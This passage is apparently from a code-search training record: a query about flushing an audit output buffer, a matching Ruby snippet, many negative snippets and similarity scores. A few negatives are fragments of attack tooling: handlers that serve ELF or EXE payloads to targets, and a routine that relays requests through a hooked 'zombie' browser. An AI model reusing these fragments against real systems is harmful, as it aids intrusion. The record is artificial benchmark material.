text[:text]\n end\n\n color = (alpha << 24) | color\n rel =\n case mode\n when :left then 0\n when :center then 0.5\n when :right then 1\n else 0\n end\n if effect\n effect_color = (effect_alpha << 24) | effect_color\n if effect == :border\n @font.draw_rel text, x - effect_size, y - effect_size, z_index, rel, 0, 1, 1, effect_color\n @font.draw_rel text, x, y - effect_size, z_index, rel, 0, 1, 1, effect_color\n @font.draw_rel text, x + effect_size, y - effect_size, z_index, rel, 0, 1, 1, effect_color\n @font.draw_rel text, x + effect_size, y, z_index, rel, 0, 1, 1, effect_color\n @font.draw_rel text, x + effect_size, y + effect_size, z_index, rel, 0, 1, 1, effect_color\n @font.draw_rel text, x, y + effect_size, z_index, rel, 0, 1, 1, effect_color\n @font.draw_rel text, x - effect_size, y + effect_size, z_index, rel, 0, 1, 1, effect_color\n @font.draw_rel text, x - effect_size, y, z_index, rel, 0, 1, 1, effect_color\n elsif effect == :shadow\n @font.draw_rel text, x + effect_size, y + effect_size, z_index, rel, 0, 1, 1, effect_color\n end\n end\n @font.draw_rel text, x, y, z_index, rel, 0, 1, 1, color\n end", "def add_audit_trail(options = {})\r\n #logger.info(\"*** Adding audit trail. options: #{options.inspect}\")\r\n return false unless current_user and options[:details] \r\n if current_user\n\toptions[:user_id] = current_user.id \n else\n\toptions[:user_id] = 0 \n end\t\r\n\r\n if @article_submission\r\n options[:article_submission_id] ||= @article_submission.id\r\n end\r\n if @user\r\n options[:user_acted_as_id] ||= @user.id\r\n end\r\n if @contribution\r\n options[:contribution_id] ||= @contribution.id\r\n end\r\n if @coi_form\r\n options[:coi_form_id] || @coi_form.id\r\n end\r\n \r\n audit_trail = AuditTrail.create(options)\r\n logger.info(\"*** Created audit trail: #{audit_trail.inspect}\")\r\n end", "def entry_helper_text(code, display, type, text, entry_type = 'COMP')\n s_entry = entry_helper(entry_type)\n s_obs = observation_helper('OBS', 'EVN')\n s_entry << s_obs\n s_obs << code_helper(code, '2.16.840.1.114222.4.5.1', display, 'NEDSS Base System')\n s_obs << value_helper_text(type, text)\n s_entry\n end", "def show_text(string, *params)\r\n @content.last << string\r\n end", "def insertText cursor, text\n if @fileContent.size == 1 and @fileContent[0] == \"\"\n dataStr = insertTextEmptyFile cursor, text\n else\n dataStr = insertTextFilledFile cursor, text\n end\n splitSize = insertTextSplitFlatten cursor\n insertTextCursorReplacement text, cursor, splitSize, dataStr\n end", "def add_weapon_text(text, id, type)\n # return normal text if range is 0 or the option isn't for this type\n return text if Weapons.range(id) == 0\n # iterate through configuration\n Config::WEAPON_DATA_MODE.each_index {|i|\n # if current option was set up for this type\n if Config::WEAPON_DATA_MODE[i] == type\n # add extra information to result text\n case i\n when 0\n text += case Weapons.type(id)\n when SWORD then ' (Melee)'\n when SPEAR then ' (Thrusting)'\n when FLAIL then ' (Flail)'\n when BOOMERANG then ' (Returning Projectile)'\n when BOW then ' (Projectile)'\n when BOW_ARROW then ' (Shooter)'\n when SHURIKEN then ' (Throwing)'\n end\n when 1\n number = Weapons.range(id)\n number = 1 if number < 1\n text += \" R: #{number}\"\n end\n end}\n # return result text\n return text\n end", "def append(row,text)\n\t\t@text[row] = @text[row].dup\n\t\t@text[row] += text\n\tend", "def insert_text(out = nil)\n print out if out\n exit 203\n end", "def show_text(string, *params)\n @content.last << string\n end" ]
[ "0.8102762", "0.6049828", "0.5541821", "0.54422396", "0.5223464", "0.5218588", "0.51746696", "0.51523423", "0.5133926", "0.5130126", "0.5128555", "0.5081727", "0.5050941", "0.50506866", "0.5019863", "0.49904555", "0.49424884", "0.4918231", "0.49061364", "0.4903813", "0.48994672", "0.48936477", "0.48820567", "0.48810372", "0.4866934", "0.48654243", "0.4863122", "0.48490858", "0.4848491", "0.48230547", "0.48000816", "0.47957063", "0.4795689", "0.4793558", "0.47921634", "0.47906128", "0.47744712", "0.47734815", "0.47708276", "0.476229", "0.47196102", "0.47082564", "0.47078964", "0.4705996", "0.47016716", "0.4690021", "0.46811545", "0.4677001", "0.46763632", "0.46494976", "0.46447828", "0.46444765", "0.46429107", "0.46176717", "0.46176717", "0.4612691", "0.4602423", "0.4572723", "0.45696282", "0.45656765", "0.45535234", "0.45501602", "0.45501602", "0.45177042", "0.4516662", "0.45077974", "0.45077422", "0.4495582", "0.4491312", "0.44911623", "0.4486079", "0.4483953", "0.44837856", "0.44788527", "0.44636348", "0.4461615", "0.44495493", "0.44295293", "0.44195655", "0.44170365", "0.44166526", "0.44073814", "0.4407034", "0.44051424", "0.4401945", "0.44012713", "0.43938354", "0.43833694", "0.43762603", "0.43759453", "0.43736896", "0.4373543", "0.436934", "0.43540984", "0.43499786", "0.4340081", "0.43400148", "0.43366125", "0.4330781", "0.43300954" ]
0.7396576
1
Flush output buffer then send audits to core agent and log failures === Parameters request(String):: Request that should be sent to auditor actor options(Hash):: Text to be audited with optional arguments (event category) === Return true:: Always return true
def send_request(request, options) EM.next_tick do flush_buffer internal_send_request(request, options) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def internal_send_request(request, options)\n log_method = request == 'append_error' ? :error : :info\n log_text = AuditFormatter.send(format_method(request), options[:text])[:detail]\n log_text.chomp.split(\"\\n\").each { |l| RightLinkLog.__send__(log_method, l) }\n options[:audit_id] = @audit_id\n RightScale::RequestForwarder.push(\"/auditor/#{request}\", options)\n true\n end", "def send_audit(options)\n flush_buffer\n internal_send_audit(options)\n end", "def log_with_benchmark(request, action)\n msg = [ ]\n msg << \"#{request.env['REQUEST_METHOD']} #{request.env['PATH_INFO']}\"\n msg << \"Params: #{request.params.inspect}\"\n msg << \"Action: #{action.to_s.upcase}\"\n \n logger.info \"[sinatras-hat] \" + msg.join(' | ')\n \n result = nil\n \n t = Benchmark.realtime { result = yield }\n \n logger.info \" Request finished in #{t} sec.\"\n \n result\n end", "def internal_send_audit(options)\n RightScale::AuditProxy.force_utf8!(options[:text])\n opts = { :audit_id => @audit_id, :category => options[:category], :offset => @size }\n opts[:category] ||= EventCategories::CATEGORY_NOTIFICATION\n unless EventCategories::CATEGORIES.include?(opts[:category])\n Log.warning(\"Invalid category '#{opts[:category]}' for notification '#{options[:text]}', using generic category instead\")\n opts[:category] = EventCategories::CATEGORY_NOTIFICATION\n end\n\n log_method = options[:kind] == :error ? :error : :info\n log_text = AuditFormatter.send(options[:kind], options[:text])[:detail]\n log_text.chomp.split(\"\\n\").each { |l| Log.__send__(log_method, l) }\n begin\n audit = AuditFormatter.__send__(options[:kind], options[:text])\n @size += audit[:detail].size\n request = RetryableRequest.new(\"/auditor/update_entry\", opts.merge(audit), :timeout => AUDIT_DELIVERY_TIMEOUT)\n request.callback { |_| } # No result of interest other than know it was successful\n request.errback { |message| Log.error(\"Failed to send update for audit #{@audit_id} (#{message})\") }\n request.run\n rescue Exception => e\n Log.error(\"Failed to send update for audit #{@audit_id}\", e, :trace)\n end\n\n true\n end", "def record!\n if OhMyLog::Log.configuration.print_log\n p \"REQUEST\"\n p @request.to_s\n p \"RESPONSE\" unless @effects.empty?\n @effects.each {|effect| p effect.to_s}\n end\n\n print_into_log\n\n #we can record everything that happend (OPTIONALL)\n if OhMyLog::Log.configuration.record_history\n OhMyLog::Log.history << self\n end\n #We always save the last operation recorded\n OhMyLog::Log.last_recorded = self\n #save this string on file or upload it somewhere\n end", "def issue_erequest(agent_request)\n agent_request[:occ_host] = Occ::Application.config.occ['server_host']\n agent_request[:occ_port] = Occ::Application.config.occ['server_port']\n agent_request[:info] = agent_info if agent_info\n agent_request[:user] ||= self.user.email if self.user\n # agent_request[:password] = password\n conn = nil\n stat = 'error'\n begin\n # load 'rclient.rb' # debug\n EventMachine::run {\n conn = EventMachine::connect name, port, OatsAgent::Rclient, nickname, agent_request\n # Need to terminate effort in case host name or else is bad.\n EM.add_timer(Occ::Application.config.occ['timeout_waiting_for_agent']) {conn.close_connection }\n }\n rescue Exception => exc\n @message = \"#{exc.class} -> #{exc}\"\n if exc.message == 'unable to resolve server address'\n @message << \", trying to reach host: #{name}\"\n Rails.logger.error 'ERROR: ' + @message\n else\n Rails.logger.error 'ERROR: ' + @message\n Rails.logger.error \"#{exc.backtrace.join(\"\\n\")}\"\n end\n end\n if conn\n resp = conn.response\n if resp\n if resp[:is_busy]\n stat = resp[:is_busy]\n else\n stat = 'waiting'\n end\n else\n stat = 'dead'\n end\n else\n resp = { :error => \"#{exc.message if exc}\"}\n end\n self.persisted_status = stat\n save self\n if agent_request[:command] == 'results'\n unless resp\n Rails.logger.warn \"Machine #{self.name} did not respond to erequest #{agent_request.inspect}\"\n end\n return resp\n else\n return stat\n end\n end", "def log_request\n result = super\n push_outstanding_request\n result\n end", "def record_request\n now = Time.now\n diff = (now - @start)\n @active_time += diff\n @requests += 1\n\n reset_horizon if now - horizon > @window\n rescue => boom\n warn \"ProcessUtilization#record_request failed: #{boom.inspect}\"\n end", "def log_request_end(logger, status, headers, began_at)\n duration = (Time.now - began_at) * 1000\n\n content_length = if headers['Content-Length']\n headers['Content-Length'].to_s\n else\n '-'\n end\n\n params = [\n duration,\n status,\n content_length,\n ]\n\n logger.info %Q{Completed in %dms | %d | %s bytes} % params\n end", "def log_request\n bin = Bin.find_by({ url: request.params['bin_url'] })\n @incoming_request = Request.new({\n payload: request.raw_post,\n bin_id: bin.id,\n http_method: request.method\n })\n\n respond_to do |format|\n if @incoming_request.save!\n if !@incoming_request.bin.webhook_url.blank? # TODO: clean up this logic a bit\n RequestForwardingJob.perform_later @incoming_request, bin.webhook_url\n end\n\n ActionCable.server.broadcast(\n \"request_channel_#{bin.url}\", @incoming_request\n )\n\n format.json { render json: {}, status: :created }\n else\n format.json { render json: @bin.errors, status: :unprocessable_entity }\n end\n end\n end", "def flush\n unless @buffer.empty?\n message = @buffer.to_a.join(\"\\n\")\n\n # Handle socket errors by just logging if we have a logger instantiated\n # We could eventually save the buffer state but that would require us to manage the buffer size etc.\n begin\n @logger.debug(\"Flushing metrics: #{message}\") unless @logger.nil?\n\n if !@config.has_key?(:dryrun) || !@config[:dryrun]\n transport_send(message)\n end\n rescue SocketError => ex\n @logger.debug(\"Statful: #{ex} on #{@config[:host]}:#{@config[:port]}\") unless @logger.nil?\n false\n ensure\n @buffer.clear\n end\n end\n end", "def flush_buffer\n if @timer\n @timer.cancel\n @timer = nil\n end\n unless @buffer.empty?\n internal_send_request('append_output', :text => @buffer)\n @buffer = ''\n end\n end", "def request(event)\n log_action_summary(event)\n log_request_details(event)\n log_response_details(event)\n end", "def send_requests(evts)\n if evts.size < 1\n LOGGER.info(\"Skipping sending events since buffer is empty\")\n return\n end\n LOGGER.info(\"Attempting to send #{evts.size} request#{evts.size == 1 ? '' : 's'}\")\n\n evts.each do |event|\n event['stm'] = (Time.now.to_f * 1000).to_i.to_s # add the sent timestamp, overwrite if already exists\n end\n\n if @method == 'post'\n post_succeeded = false\n begin\n request = http_post(SelfDescribingJson.new(\n 'iglu:com.snowplowanalytics.snowplow/payload_data/jsonschema/1-0-4',\n evts\n ).to_json)\n post_succeeded = is_good_status_code(request.code)\n rescue StandardError => se\n LOGGER.warn(se)\n end\n if post_succeeded\n unless @on_success.nil?\n @on_success.call(evts.size)\n end\n else\n unless @on_failure.nil?\n @on_failure.call(0, evts)\n end\n end\n\n elsif @method == 'get'\n success_count = 0\n unsent_requests = []\n evts.each do |evt|\n get_succeeded = false\n begin\n request = http_get(evt)\n get_succeeded = is_good_status_code(request.code)\n rescue StandardError => se\n LOGGER.warn(se)\n end\n if get_succeeded\n success_count += 1\n else\n unsent_requests << evt\n end\n end\n if unsent_requests.size == 0\n unless @on_success.nil?\n @on_success.call(success_count)\n end\n else\n unless @on_failure.nil?\n @on_failure.call(success_count, unsent_requests)\n end\n end\n end\n\n nil\n end", "def flush_buffer\n # note we must discard cancelled timer or else we never create a new timer and stay cancelled.\n if @timer\n @timer.cancel\n @timer = nil\n end\n\n to_send = nil\n @mutex.synchronize do\n unless @buffer.empty?\n to_send = @buffer\n @buffer = ''\n end\n end\n\n if to_send\n internal_send_audit(:kind => :output, :text => to_send, :category => EventCategories::NONE)\n end\n end", "def commit(request)\n url = test? ? TEST_URL : LIVE_URL\n \n @response = parse(ssl_post(url, request)) \n success = @response[:status] == DATACASH_SUCCESS\n message = @response[:reason]\n \n Response.new(success, message, @response,\n :test => test?,\n :authorization => \"#{@response[:datacash_reference]};#{@response[:authcode]}\"\n )\n end", "def flush_events\n @logger.set_api_name(ApiMethods::FLUSH_EVENTS)\n return false if opted_out?(ApiMethods::FLUSH_EVENTS)\n\n unless @is_instance_valid\n @logger.log(\n LogLevelEnum::ERROR,\n 'CONFIG_CORRUPTED',\n {\n '{file}' => FILE,\n '{api}' => ApiMethods::FLUSH_EVENTS\n }\n )\n return false\n end\n result = false\n if defined?(@batch_events) && !@batch_events_queue.nil?\n result = @batch_events_queue.flush(manual: true)\n @batch_events_queue.kill_thread\n end\n result\n rescue StandardError => e\n @logger.log(\n LogLevelEnum::ERROR,\n \"({file}): {api} API error: #{e.message}\",\n {\n '{file}' => FILE,\n '{api}' => ApiMethods::FLUSH_EVENTS\n }\n )\n false\n end", "def notify\n begin\n request(@config.method, @config.url, payload_data, @config.format)\n true\n rescue Exception => ex\n log_error(ex) if @config.has_logger?\n false\n end\n end", "def call(request)\n test request\n end", "def test_http_request_skip_setting_latency\n setup_gce_metadata_stubs\n [\n '', ' ', nil, 'null', '123', '1.23 seconds',\n ' 123 s econds ', '1min', 'abc&^!$*('\n ].each do |input|\n setup_logging_stubs do\n d = create_driver\n @logs_sent = []\n d.emit('httpRequest' => HTTP_REQUEST_MESSAGE.merge('latency' => input))\n d.run\n end\n verify_log_entries(1, COMPUTE_PARAMS, 'httpRequest') do |entry|\n assert_equal HTTP_REQUEST_MESSAGE, entry['httpRequest'], entry\n assert_nil entry['jsonPayload']['httpRequest'], entry\n end\n end\n end", "def flush(events, close=false)\n #buffer_flush should pass here the :final boolean value.\n @redisearch_client.add_docs(events)\n @logger.info(\"Buffer Inserted Successfully\", :length => events.length)\n end", "def run_access_report request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_run_access_report_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Analytics::Admin::V1alpha::RunAccessReportResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def do_request_and_write_response(times)\n File.open('response_log.txt', 'a+') do |file|\n (1..times).each do |iteration|\n response = do_request_to_slowapi\n file.puts(\"response_#{iteration}: \" + response.body)\n end\n puts 'Done!'\n return true\n end\n end", "def send_requests(events)\n if events.empty?\n logger.info('Skipping sending events since buffer is empty')\n return\n end\n\n logger.info(\"Attempting to send #{events.size} request#{events.size == 1 ? '' : 's'}\")\n\n events.each do |event|\n # add the sent timestamp, overwrite if already exists\n event['stm'] = Timestamp.create.to_s\n end\n\n if @method == 'post'\n send_requests_with_post(events)\n elsif @method == 'get'\n send_requests_with_get(events)\n end\n\n nil\n end", "def log(env, status, response_headers, began_at, body)\n data = {\n :method => env[\"REQUEST_METHOD\"],\n :path => env[\"PATH_INFO\"],\n :query_string => env[\"QUERY_STRING\"],\n :host => Socket.gethostname,\n :status => status.to_i,\n :duration => (Time.now - began_at),\n :remote_addr => env['REMOTE_ADDR'],\n :request => request_line(env),\n :\"X-Forwarded-For\" => response_headers['X-Forwarded-For']\n\n }\n\n # Added calling for the proc and merge the data if it exists\n\n if @proc\n begin\n new_hash = @proc.call(env)\n data = data.merge new_hash if new_hash.class == Hash\n rescue Exception => e\n STDERR.puts \"Exception in your proc : #{e.message}.\"\n end\n end\n\n # This just works for all body types (magic?)... see http://www.rubydoc.info/github/rack/rack/Rack/BodyProxy\n body.each{|x| data[:body] = x[0..@options[:body_len]] }\n @options[:request_headers].each { |header, log_key| env_key = \"HTTP_#{header.upcase.gsub('-', '_')}\" ; data[log_key] = env[env_key] if env[env_key]} if !@options[:request_headers].nil?\n @options[:response_headers].each { |header, log_key| data[log_key] = response_headers[header] if response_headers[header] } if !@options[:response_headers].nil?\n\n data[:error_msg] = env[\"sinatra.error\"] if env.has_key?(\"sinatra.error\")\n\n\n\n @options[:body_regex].each { |k,v| data[k] = data[:body].to_s.match(/#{v}/).captures[0].gsub(\"\\\\\",\"\").gsub(\"\\\"\",\"\") rescue data[k]= \"\" } if !@options[:body_regex].nil?\n\n severity = \"DEBUG\"\n case status\n when 300..399 then severity = \"WARN\"\n when 400..599 then severity = \"ERROR\"\n end\n event = {:severity => severity}.merge data\n # TODO to include this lines\n begin\n device.puts( event.to_json )\n rescue Exception => e\n STDERR.puts \"Error : Failed to write log to : #{@options[:url]}, #{e.message}.\"\n @device = nil\n end\n end", "def send_event(params = {})\n RestClient.get(\n 'http://www.google-analytics.com/collect',\n params: params,\n timeout: 4,\n open_timeout: 4\n )\n return true\n rescue RestClient::Exception\n return false\n end", "def dump_log(request = nil, java = false)\n type_params = java ? '?type=java' : ''\n url = \"#{DUMP_LOG_ENDPOINT}#{type_params}\"\n request = request ? Request.new(symbolize_keys(request)) : {}\n\n logger.debug('Sending dump log request to mockserver')\n logger.debug(\"URL: #{url}. Payload: #{request.to_hash}\")\n\n response = @base[url].put(request.to_json)\n logger.debug(\"Got dump to log response: #{response.code}\")\n parse_string_to_json(response)\n end", "def append_output(text)\n EM.next_tick do\n @buffer << text\n if @buffer.size > MIN_AUDIT_SIZE\n flush_buffer\n else\n reset_timer\n end\n end\n end", "def request_log(request); end", "def process_request(request, response)\n apps.each do |app|\n app.call(:request => request, \n :response => response, \n :settings => settings,\n :logger => logger)\n end\n\n return true\n rescue StandardError => e\n if settings.service.raise_exceptions\n raise\n else\n logger.info(\"APP ERROR\") { e.inspect }\n logger.debug(\"APP ERROR\") { \"#{e.inspect}\\n\" + e.backtrace.join(\"\\n \") }\n\n return false\n end\n end", "def send_request request\n request.create_identifier! if needs_request_identifier?\n _log_result [ :send_request, :request, request ] do\n request_payload = encoder.dup.encode(request)\n opaque = _send_request(request_payload)\n response = receive_response opaque\n _log { [ :send_request, :response, response ] }\n if response\n if exc = response.exception\n exc.invoke!\n else\n response.result\n end\n else\n response\n end\n end\n end", "def send_request_info_to_dashboard(app_id, timestamp, request_rate)\n Djinn.log_debug(\"Sending a log with request rate #{app_id}, timestamp \" +\n \"#{timestamp}, request rate #{request_rate}\")\n encoded_request_info = JSON.dump({\n 'timestamp' => timestamp,\n 'request_rate' => request_rate\n })\n\n begin\n url = URI.parse(\"https://#{get_login.public_ip}:\" +\n \"#{AppDashboard::LISTEN_SSL_PORT}/apps/json/#{app_id}\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n response = http.post(url.path, encoded_request_info,\n {'Content-Type'=>'application/json'})\n return true\n rescue OpenSSL::SSL::SSLError, NotImplementedError, Errno::EPIPE,\n Errno::ECONNRESET\n retry\n rescue Exception\n # Don't crash the AppController because we weren't able to send over\n # the request info - just inform the caller that we couldn't send it.\n Djinn.log_info(\"Couldn't send request info for app #{app_id} to #{url}\")\n return false\n end\n end", "def call!(env)\n log \"===== Received request =====\"\n Rack::Request.new(env).tap do |request|\n log \" Method: #{request.request_method.inspect}\"\n log \" Path: #{request.path.inspect}\"\n end\n env['deas.logging'] = Proc.new{ |msg| log(msg) }\n status, headers, body = super(env)\n log \" Redir: #{headers['Location']}\" if headers.key?('Location')\n log \"===== Completed in #{env['deas.time_taken']}ms (#{response_display(status)}) =====\"\n [status, headers, body]\n end", "def call\n return nil unless scope_layer\n return nil unless context.config.value('timeline_traces')\n\n # Since this request is being stored, update the needed counters\n context.slow_request_policy.stored!(request)\n\n # record the change in memory usage\n mem_delta = ScoutApm::Instruments::Process::ProcessMemory.new(context).rss_to_mb(@request.capture_mem_delta!)\n\n transaction_id = request.transaction_id\n revision = context.environment.git_revision.sha\n start_instant = request.root_layer.start_time\n stop_instant = request.root_layer.stop_time\n type = if request.web?\n \"Web\"\n elsif request.job?\n \"Job\"\n else\n \"Unknown\"\n end\n\n # Create request tags\n #\n tags = {\n :allocations => request.root_layer.total_allocations,\n :mem_delta => mem_delta,\n }.merge(request.context.to_flat_hash)\n\n host = context.environment.hostname\n path = request.annotations[:uri] || \"\"\n code = \"\" # User#index for instance\n\n spans = create_spans(request.root_layer)\n if limited?\n tags[:\"scout.reached_span_cap\"] = true\n end\n\n DetailedTrace.new(\n transaction_id,\n revision,\n host,\n start_instant,\n stop_instant,\n type,\n\n path,\n code,\n\n spans,\n tags\n\n # total_score = 0,\n # percentile_score = 0,\n # age_score = 0,\n # memory_delta_score = 0,\n # memory_allocations_score = 0\n )\n end", "def record_request(status, env)\n now = Time.now\n diff = (now - @start)\n if $statsd\n $statsd.timing(\"response_time\", diff * 1000)\n if VALID_METHODS.include?(env[REQUEST_METHOD])\n stat = \"response_time.#{env[REQUEST_METHOD].downcase}\"\n $statsd.timing(stat, diff * 1000)\n end\n\n if suffix = status_suffix(status)\n $statsd.increment \"status_code.#{status_suffix(status)}\"\n end\n\n api = env[\"API\"]\n if api\n $statsd.timing(\"response_time.#{api}\", diff * 1000)\n $statsd.increment \"status_code.#{status_suffix(status)}.#{api}\"\n end\n\n if @track_gc && GC.time > 0\n $statsd.timing \"gc.time\", GC.time / 1000\n $statsd.count \"gc.collections\", GC.collections\n end\n end\n\n rescue => boom\n warn \"Statsd::Rack#record_request failed: #{boom}\"\n end", "def log(request, response)\n time = Time.new.strftime(\"%Y-%m-%d %H-%M-%S\")\n http_request = \"#{request.http_method} #{request.uri}\"\n http_response = \"#{response.code}\"\n @log_file.puts \"#{++@log_no} -- [#{time}] #{http_request} #{http_response}\"\n end", "def broadcast(event, benchmark)\n serialized = RequestSerializer.new(event[:request]).serialize.\n merge(benchmark.stats).\n merge(event.slice(:response, :metadata))\n ActiveSupport::Notifications.publish(\"request.coach\", serialized)\n end", "def flush_log_buffer()\n APPS_LOCK.synchronize {\n loop {\n break if @@logs_buffer.empty?\n encoded_logs = JSON.dump({\n 'service_name' => 'appcontroller',\n 'host' => my_node.public_ip,\n 'logs' => @@logs_buffer.shift(LOGS_PER_BATCH),\n })\n\n begin\n url = URI.parse(\"https://#{get_login.public_ip}:\" +\n \"#{AppDashboard::LISTEN_SSL_PORT}/logs/upload\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n response = http.post(url.path, encoded_logs,\n {'Content-Type'=>'application/json'})\n rescue Exception\n # Don't crash the AppController because we weren't able to send over\n # the logs - just continue on.\n end\n }\n }\n end", "def dump_request(request)\n return unless @output_buffer\n puts \"> dump_request\"\n terms = %w(request_uri request_line raw_header body)\n longest = terms.map(&:size).max\n \n @output_buffer.puts '-' * 80\n @output_buffer.puts \"Request:\"\n terms.each do |term|\n @output_buffer.puts \" %#{longest}s:\" % [term] # , request.send(term).to_s.length]\n end\n @output_buffer.puts '-' * 80\n @output_buffer.flush\n puts \"< dump_request\"\n end", "def call(request)\n if captured = @uri.call(request) and test(request)\n request.traits.waves.captured = captured\n end\n end", "def log_http_request(request)\n log :info, \"Starting request: #{request.method} #{request.path}\"\n\n return unless log_debug?\n\n log :debug, \" body : #{request.body}\"\n log :debug, \" headers :\"\n request.each_header do |name, value|\n log :debug, \" #{name}: #{value}\"\n end\n end", "def http_report(request, _response)\n path = request.path\n\n root_element_name = Box.new('')\n result = @server.xml.parse(request.body, request.url, root_element_name)\n root_element_name = root_element_name.value\n\n if @server.emit('report', [root_element_name, result, path])\n # If emit returned true, it means the report was not supported\n fail Exception::ReportNotSupported\n end\n\n # Sending back false will interupt the event chain and tell the server\n # we've handled this method.\n false\n end", "def _send_request request_payload\n _write request_payload, stream\n end", "def on_request_uri(cli, request)\r\n #print_status(\"on_request_uri called: #{request.inspect}\")\r\n if (not @pl)\r\n print_error(\"#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!\")\r\n return\r\n end\r\n print_status(\"#{rhost}:#{rport} - Sending the payload to the server...\")\r\n @elf_sent = true\r\n send_response(cli, @pl)\r\n end", "def on_request_uri(cli, request)\r\n #print_status(\"on_request_uri called: #{request.inspect}\")\r\n if (not @pl)\r\n print_error(\"#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!\")\r\n return\r\n end\r\n print_status(\"#{rhost}:#{rport} - Sending the payload to the server...\")\r\n @elf_sent = true\r\n send_response(cli, @pl)\r\n end", "def on_request_uri(cli, request)\r\n\r\n\t\tvprint_status(\"on_request_uri called\")\r\n\r\n\t\tif (not @exe_data)\r\n\t\t\tprint_error(\"A request came in, but the EXE archive wasn't ready yet!\")\r\n\t\t\treturn\r\n\t\tend\r\n\r\n\t\tprint_good(\"Sending the EXE payload to the target...\")\r\n\t\tsend_response(cli, @exe_data)\r\n\t\t@exe_sent = true\r\n\tend", "def action_custom_activity(input)\n token = input[:FromUserName]\n text_attrs = input[:Content].split('@')\n activity = WxCustomActivity.find_by_key_and_status(text_attrs[0],1)\n activity_log = WxActivityLog.find_by_uid_and_activity_id(token,activity[:id])\n return build_response_text_temp {|msg|\n msg.Content = activity[:join_msg]\n } unless activity_log.nil?\n \n #persist user request\n log_use_request {|request|\n request.lastaction = RequestAction::ACTION_EX_POINT+'-'+activity[:id].to_s\n }\n \n #check use have binded card\n card_info = Card.where(:utoken=>token,:isbinded=>true).order('updated_at desc').first\n if !card_info.nil?\n WxActivityLog.create(:uid=>token,:activity_id=>activity[:id],:vip_card=>card_info.decryp_card_no)\n return build_response_text_temp {|msg|\n msg.Content = activity[:succsss_msg]\n } \n else\n if text_attrs.length<=2\n return build_response_text_temp {|msg|\n msg.Content = activity[:how_msg]\n } \n end\n\n card_info = Card.find_by_nopwd input[:FromUserName],text_attrs[1],text_attrs[2]\n return build_response_text_temp {|msg|\n msg.Content = WxReplyMsg.get_msg_by_key 'wrongpwd'\n } if card_info.nil?\n Card.transaction do \n card_info[:isbinded]=true\n card_info.save\n \n WxActivityLog.create(:uid=>token,:activity_id=>activity[:id],:vip_card=>text_attrs[1])\n end\n return build_response_text_temp {|msg|\n msg.Content = activity[:succsss_msg]\n } \n end\n \n end", "def send_request\n # validate that the hooked browser's session has been sent\n zombie_session = @params['zombie_session'] || nil\n raise WEBrick::HTTPStatus::BadRequest, \"Invalid session id\" if not BeEF::Filters.is_valid_hook_session_id?(zombie_session)\n \n # validate that the hooked browser exists in the db\n zombie = Z.first(:session => zombie_session) || nil\n raise WEBrick::HTTPStatus::BadRequest, \"Invalid hooked browser session\" if zombie.nil?\n \n # validate that the raw request has been sent\n raw_request = @params['raw_request'] || nil\n raise WEBrick::HTTPStatus::BadRequest, \"raw_request is nil\" if raw_request.nil?\n raise WEBrick::HTTPStatus::BadRequest, \"raw_request contains non-printable chars\" if not BeEF::Filters.has_non_printable_char?(raw_request)\n \n # validate nonce\n nonce = @params['nonce'] || nil\n raise WEBrick::HTTPStatus::BadRequest, \"nonce is nil\" if nonce.nil?\n raise WEBrick::HTTPStatus::BadRequest, \"nonce incorrect\" if @session.get_nonce != nonce\n \n # validate that the raw request is correct and can be used\n req_parts = raw_request.split(/ |\\n/) # break up the request\n verb = req_parts[0]\n raise 'Only GET or POST requests are supported' if not BeEF::Filters.is_valid_verb?(verb) #check verb\n uri = req_parts[1]\n raise 'Invalid URI' if not BeEF::Filters.is_valid_url?(uri) #check uri\n version = req_parts[2]\n raise 'Invalid HTTP version' if not BeEF::Filters.is_valid_http_version?(version) # check http version - HTTP/1.0\n host_str = req_parts[3]\n raise 'Invalid HTTP version' if not BeEF::Filters.is_valid_host_str?(host_str) # check host string - Host:\n host = req_parts[4]\n host_parts = host.split(/:/)\n hostname = host_parts[0]\n raise 'Invalid hostname' if not BeEF::Filters.is_valid_hostname?(hostname) #check the target hostname\n hostport = host_parts[1] || nil\n if !hostport.nil?\n raise 'Invalid hostport' if not BeEF::Filters.nums_only?(hostport) #check the target hostport\n end\n\n # (re)build the request\n green_request = StringIO.new(verb + \" \" + uri + \" \" + version + \"\\n\" + host_str + \" \" + host)\n request = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP)\n request.parse(green_request)\n \n # Saves the new HTTP request.\n http = H.new(\n :request => raw_request,\n :method => request.request_method,\n :domain => request.host,\n :path => request.unparsed_uri,\n :request_date => Time.now,\n :hooked_browser_id => zombie.id\n )\n \n if request.request_method.eql? 'POST'\n http.content_length = request.content_length\n end\n \n http.save\n \n @body = '{success : true}'\n end", "def setMessage(content, isRequest)\n\n @txt_input.text = \"Text is not Modified.\".to_java_bytes if @txt_input.textModified\n\n if isRequest\n makelog \"start request audit\"\n @txt_input.text = \"HTTP Request is nil or empty.\".to_java_bytes if content.nil? or content.empty?\n resultlist = []\n begin\n formatedRequest = parse_request(content.to_s)\n checklist = conduct_policy(formatedRequest)\n resultlist += lunchRequestBasedAudit(checklist,formatedRequest)\n basic = BasicAnalyzer.new(formatedRequest)\n # resultlist << basic.paraSetEmpty\n display_data = dataEdit(resultlist)\n display_data.size\n if display_data.size > 0\n @txt_input.text = display_data.to_java_bytes\n else\n @txt_input.text = \"Nothing to display\".to_java_bytes\n end\n rescue\n @stderr.write(\" error: #{$!} at#{$@}\\n\".to_java_bytes)\n end\n\n else\n @txt_input.text = \"HTTP Reponse is nil or empty.\".to_java_bytes if content.nil? or content.empty?\n\n lines= content.to_s.split(\"\\n\")\n body = \"\"\n lines.each_with_index{|each,index| body = each if each.chomp =~ /^\\{.*\\}$/ }\n if body.size > 0\n body = body.chomp\n begin\n hash = JSON.parse body\n body = JSON.pretty_generate hash\n rescue\n 